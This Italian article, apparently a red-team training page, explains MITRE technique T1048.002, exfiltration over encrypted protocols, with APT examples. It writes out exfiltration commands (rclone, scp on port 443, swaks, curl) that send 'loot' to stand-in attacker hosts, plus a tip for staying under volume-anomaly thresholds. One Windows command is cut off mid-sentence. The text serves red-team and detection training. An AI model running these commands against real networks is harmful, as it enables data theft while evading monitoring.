Esfiltrazione via Canali Cifrati Asimmetrici: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol (T1048.002)
La tecnica T1048.002 descrive l'esfiltrazione di dati attraverso protocolli di rete che impiegano crittografia asimmetrica — tipicamente HTTPS/TLS, SFTP, SCP o SMTPS — su un canale distinto rispetto a quello di command and control. L'avversario sfrutta il fatto che questi protocolli sono largamente legittimi nel traffico aziendale e che il payload cifrato risulta opaco all'ispezione superficiale.
La collocazione nella tattica TA0010 (Exfiltration) è coerente con la fase finale della kill chain: dopo aver raccolto e spesso compresso o cifrato ulteriormente il materiale, l'attaccante lo trasferisce verso infrastrutture controllate, frequentemente su servizi cloud o server compromessi di terze parti. La separazione dal canale C2 aumenta la resilienza operativa: se il C2 viene bloccato, l'esfiltrazione può proseguire, e viceversa.
I dati MITRE mappano 3 gruppi APT, 2 famiglie di software, 1 campagna e 4 mitigazioni. Il caso più noto è la SolarWinds Compromise (2019-2021), dove APT29 ha esfiltrato archivi protetti da password tramite semplici richieste HTTPS verso server OWA delle vittime. L'impatto strategico è significativo: la telemetria di rete registra sessioni TLS apparentemente normali verso destinazioni con reputazione neutra, rendendo la detection dipendente da correlazioni comportamentali piuttosto che da firme statiche.
In un ingaggio red team la simulazione di T1048.002 parte dalla scelta di un protocollo che si mimetizzi nel baseline della vittima. HTTPS verso servizi cloud legittimi è la scelta più efficace, seguita da SFTP/SCP per ambienti con amministratori Linux frequenti e SMTPS quando il target ha gateway mail permissivi in uscita.
Su Linux e macOS, Rclone (open source) rappresenta lo strumento canonico e figura direttamente nei dati MITRE come impiegato in attacchi reali. Consente il trasferimento verso decine di backend cloud con supporto nativo per WebDAV su HTTPS e SFTP. Un flusso operativo tipico prevede la configurazione interattiva di un remote con rclone config, seguita dal trasferimento con rclone copy /tmp/loot remote:bucket --transfers 4. L'aggiunta di --bwlimit 1M aiuta a restare sotto le soglie di anomalia volumetrica.
Per esfiltrazione via SCP in stile Storm-1811, la sintassi standard scp -P 443 archive.tar.gz user@attacker-host:/incoming/ consente di riutilizzare la porta 443 e confondersi nel traffico HTTPS a livello di flow analysis, sebbene un'ispezione TLS approfondita distingua i due protocolli.
Su Windows, l'approccio di APT28 e APT29 contro server OWA è replicabile con PowerShell e Invoke-WebRequest, caricando archivi 7z protetti da password su endpoint web autenticati. Il comando *7z a -p
Per scenari SMTPS in stile CURIUM, swaks (open source) permette di orchestrare invii autenticati con allegati: swaks --to drop@attacker.tld --server smtp.provider.tld:465 --tls --auth --attach loot.zip.
In ambienti ESXi, la CLI esxcli network firewall ruleset mostra i servizi in uscita consentiti; da una guest VM compromessa è possibile appoggiarsi a curl (open source) con curl --tlsv1.2 -T loot.tar.gz -u user:pass https://webdav.attacker.tld/.
Per validare la detection lato blue team, l'inclusione di Atomic Red Team (open source) con i test T1048.002 fornisce payload preconfezionati e ripetibili. È buona prassi documentare volumi trasferiti, timing e destinazioni per consentire al SOC di ricostruire ex-post l'esercizio.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo